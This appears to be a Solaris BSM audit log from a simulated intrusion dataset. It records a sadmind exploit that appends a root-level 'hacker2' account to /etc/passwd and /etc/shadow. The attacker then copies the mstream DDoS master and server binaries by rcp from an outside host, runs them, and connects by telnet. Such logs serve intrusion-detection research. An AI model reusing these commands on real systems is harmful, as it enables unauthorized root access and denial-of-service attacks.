audit_bsm_millmill.eyrie.af.milsadmind2743/usr/sbin/sadmind,1,sadmindTue 07 Mar 200010:33:11 AM EST + 307298637 msecaudit_bsm_millmill.eyrie.af.milsadmind2752/usr/sbin/sadmind,1,sadmindTue 07 Mar 200010:33:17 AM EST + 537352612 msecaudit_bsm_millmill.eyrie.af.milsadmind2756/usr/sbin/sadmind,1,sadmindTue 07 Mar 200010:33:19 AM EST + 577370117 msecaudit_bsm_millmill.eyrie.af.milsadmind2757/usr/sbin/sadmind,1,sadmindTue 07 Mar 200010:33:25 AM EST + 817421958 msecaudit_bsm_millmill.eyrie.af.milsadmind2761/usr/sbin/sadmind,1,sadmindTue 07 Mar 200010:33:25 AM EST + 877425908 msecaudit_bsm_millmill.eyrie.af.milsh2761/usr/bin/sh,3,/bin/sh,-c,echo hacker2:x:0:0:hacker2:/tmp:/bin/sh >> /etc/passwdTue 07 Mar 200010:33:27 AM EST + 877439452 msecaudit_bsm_millmill.eyrie.af.milsadmind2762/usr/sbin/sadmind,1,sadmindTue 07 Mar 200010:33:27 AM EST + 937443726 msecaudit_bsm_millmill.eyrie.af.milsh2762/usr/bin/sh,3,/bin/sh,-c,echo hacker2:x1waS7wV2OF1c:10976:::::: >> /etc/shadowTue 07 Mar 200010:33:13 AM EST + 367319569 msecaudit_bsm_millmill.eyrie.af.millogin2755/usr/bin/login,6,login,-p,-d,/dev/pts/2,-h,ppp5-213.att.net.hkTue 07 Mar 200010:33:21 AM EST + 647391574 msecaudit_bsm_millmill.eyrie.af.millogin2760/usr/bin/login,6,login,-p,-d,/dev/pts/2,-h,ppp5-213.att.net.hkTue 07 Mar 200010:33:31 AM EST + 107472009 msecaudit_bsm_millmill.eyrie.af.millogin2765/usr/bin/login,6,login,-p,-d,/dev/pts/2,-h,ppp5-213.att.net.hkTue 07 Mar 200010:33:31 AM EST + 217477342 msecaudit_bsm_millmill.eyrie.af.milsh2766/usr/bin/sh,1,-shTue 07 Mar 200010:33:31 AM EST + 237477744 msecaudit_bsm_millmill.eyrie.af.mili3862767/usr/bin/i386,1,/bin/i386Tue 07 Mar 200010:33:31 AM EST + 247479185 msecaudit_bsm_millmill.eyrie.af.milquota2768/usr/lib/fs/ufs/quota,1,/usr/sbin/quotaTue 07 Mar 200010:33:31 AM EST + 267480438 msecaudit_bsm_millmill.eyrie.af.milcat2769/usr/bin/cat,3,/bin/cat,-s,/etc/motdTue 07 Mar 200010:33:31 AM EST + 287480086 msecaudit_bsm_millmill.eyrie.af.milmail2770/usr/bin/mail,2,/bin/mail,-ETue 07 Mar 200010:50:00 AM EST + 444691791 msecaudit_bsm_millmill.eyrie.af.millogin2790/usr/bin/login,6,login,-p,-d,/dev/pts/5,-h,ppp5-213.att.net.hkTue 07 Mar 200010:50:00 AM EST + 554694921 msecaudit_bsm_millmill.eyrie.af.milsh2791/usr/bin/sh,1,-shTue 07 Mar 200010:50:00 AM EST + 574698222 msecaudit_bsm_millmill.eyrie.af.mili3862792/usr/bin/i386,1,/bin/i386Tue 07 Mar 200010:50:00 AM EST + 584698537 msecaudit_bsm_millmill.eyrie.af.milquota2793/usr/lib/fs/ufs/quota,1,/usr/sbin/quotaTue 07 Mar 200010:50:00 AM EST + 604700772 msecaudit_bsm_millmill.eyrie.af.milcat2794/usr/bin/cat,3,/bin/cat,-s,/etc/motdTue 07 Mar 200010:50:00 AM EST + 624700492 msecaudit_bsm_millmill.eyrie.af.milmail2795/usr/bin/mail,2,/bin/mail,-ETue 07 Mar 200010:50:00 AM EST + 654700730 msecaudit_bsm_millmill.eyrie.af.milmkdir2796/usr/bin/mkdir,2,mkdir,/tmp/.mstreamTue 07 Mar 200010:50:00 AM EST + 684696668 msecaudit_bsm_millmill.eyrie.af.milrcp2797/usr/bin/rcp,3,rcp,root@202.77.162.213:/.sim/home/jhaines/ATTACKS/mstream/solaris/server-sol,.Tue 07 Mar 200010:50:02 AM EST + 144712822 msecaudit_bsm_millmill.eyrie.af.milchmod2798/usr/bin/chmod,3,chmod,755,server-solTue 07 Mar 200010:50:02 AM EST + 164714063 msecaudit_bsm_millmill.eyrie.af.milrcp2799/usr/bin/rcp,3,rcp,root@202.77.162.213:/.sim/home/jhaines/ATTACKS/mstream/solaris/master-sol,.Tue 07 Mar 200010:50:04 AM EST + 564733410 msecaudit_bsm_millmill.eyrie.af.milchmod2800/usr/bin/chmod,3,chmod,755,master-solTue 07 Mar 200010:50:05 AM EST + 804748401 msecaudit_bsm_millmill.eyrie.af.milsh2802/usr/bin/sh,3,sh,-c,/tmp/.mstream/master-solTue 07 Mar 200010:50:05 AM EST + 824749007 msecaudit_bsm_millmill.eyrie.af.milmaster-sol2803/tmp/.mstream/master-sol,1,/tmp/.mstream/master-solTue 07 Mar 200010:50:19 AM EST + 804853382 msecaudit_bsm_millmill.eyrie.af.milsh2806/usr/bin/sh,3,sh,-c,/tmp/.mstream/server-sol 172.16.115.20Tue 07 Mar 200010:50:19 AM EST + 814856679 msecaudit_bsm_millmill.eyrie.af.milserver-sol2807/tmp/.mstream/server-sol,2,/tmp/.mstream/server-sol,172.16.115.20Tue 07 Mar 200011:26:14 AM EST + 120692473 msecaudit_bsm_millmill.eyrie.af.millogin2914/usr/bin/login,6,login,-p,-d,/dev/pts/6,-h,ppp5-213.att.net.hkTue 07 Mar 200011:26:19 AM EST + 870738167 msecaudit_bsm_millmill.eyrie.af.milsh2915/usr/bin/sh,1,-shTue 07 Mar 200011:26:19 AM EST + 890740438 msecaudit_bsm_millmill.eyrie.af.milquota2916/usr/lib/fs/ufs/quota,1,/usr/sbin/quotaTue 07 Mar 200011:26:19 AM EST + 910741559 msecaudit_bsm_millmill.eyrie.af.milcat2917/usr/bin/cat,3,/bin/cat,-s,/etc/motdTue 07 Mar 200011:26:19 AM EST + 920741802 msecaudit_bsm_millmill.eyrie.af.milmail2918/usr/bin/mail,2,/bin/mail,-ETue 07 Mar 200011:26:26 AM EST + 800793184 msecaudit_bsm_millmill.eyrie.af.milw2921/usr/bin/w,1,wTue 07 Mar 200011:26:26 AM EST + 810794421 msecaudit_bsm_millmill.eyrie.af.milw2921/usr/bin/sparcv7/w,1,wTue 07 Mar 200011:26:33 AM EST + 440846204 msecaudit_bsm_millmill.eyrie.af.miltelnet2922/usr/bin/telnet,3,telnet,0,6723Tue 07 Mar 200011:26:54 AM EST + 171025119 msecaudit_bsm_millmill.eyrie.af.milps2926/usr/bin/ps,2,ps,-efTue 07 Mar 200011:26:54 AM EST + 181020727 msecaudit_bsm_millmill.eyrie.af.milps2926/usr/bin/sparcv7/ps,2,ps,-efTue 07 Mar 200011:26:54 AM EST + 201020075 msecaudit_bsm_millmill.eyrie.af.milgrep2925/usr/bin/grep,2,grep,serverTue 07 Mar 200011:27:07 AM EST + 601135075 msecaudit_bsm_millmill.eyrie.af.milserver-sol2928/tmp/.mstream/server-sol,2,/tmp/.mstream/server-sol,172.16.115.20Tue 07 Mar 200011:27:16 AM EST + 101221604 msecaudit_bsm_millmill.eyrie.af.miltelnet2930/usr/bin/telnet,3,telnet,0,6723